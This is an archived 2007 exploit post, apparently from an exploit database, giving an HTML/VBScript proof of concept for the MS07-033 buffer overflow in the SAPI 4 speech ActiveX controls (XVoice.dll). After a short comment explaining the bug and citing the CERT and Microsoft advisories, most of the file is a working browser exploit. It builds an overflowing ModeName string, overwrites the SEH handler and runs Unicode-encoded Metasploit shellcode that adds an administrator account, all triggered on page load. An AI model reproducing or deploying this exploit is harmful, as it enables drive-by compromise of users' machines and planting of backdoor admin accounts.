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ms-api-sp4.txt

Posted on 14 June 2007

<!--
01/06/2007 23.19.50
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll)
/ DirectSpeechRecognition Module (Xlisten.dll)
remote buffer overflow exploit / 2k sp4 seh version

both the dlls are located in %SystemRoot%speech folder
and they are vulnerable to the same issue.
while on 2k it depends on activex settings, under xp they are both
set to "safe for a trusted caller", i.e. Internet Explorer

registers after that some chars are passed to ModeName argument
of FindEgine method and seh handler is overwritten:

EAX 00000000
ECX 00000000
EDX 02770608
EBX 6535F590 XVoice.6535F590
ESP 0012DBB8 UNICODE "AAAA...
EBP 00410041 IEXPLORE.00410041
ESI 001921BC
EDI 0012DBF8 UNICODE "AAAA...
EIP 00410041 IEXPLORE.00410041

I succesfully run this code on win2k, patching the shellcode
with the venetian technique, adding an Administrator account,
against IE6.
Under xp, with predefined settings, Internet Explorer immediately crashes
without warning the user first, and it's still possible running arbitrary
code, it depends on jumpable Unicode addresses loaded in memory

by A. Micalizzi (aka rgod)
site: retrogod.altervista.org

***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:

http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx

the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp

is still distributed with the kill bit not set

-->

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>

targetFile = "C:WINNTspeechXVoice.dll"
memberName = "FindEngine"
progid     = "ACTIVEVOICEPROJECTLib.DirectSS"
argCount   = 28

REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p'
scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c")

nop1  = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40")
c1    = unescape("%6E") : REM add byte ptr esi, ch (as nop)
c2    = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi
c3    = unescape("%6E%40%6E%05%18%09") : REM add eax
c4    = unescape("%6E%40%6E%2d%11%09") : REM sub eax
c5    = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice

code  = nop1 & c1 & c2 & c3 & c4 & c5 & _
unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40")

seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan
eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition

suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment

EngineID="default"
MfgName="default"
ProductName="default"
ModeID="default"
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style="default"
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

 

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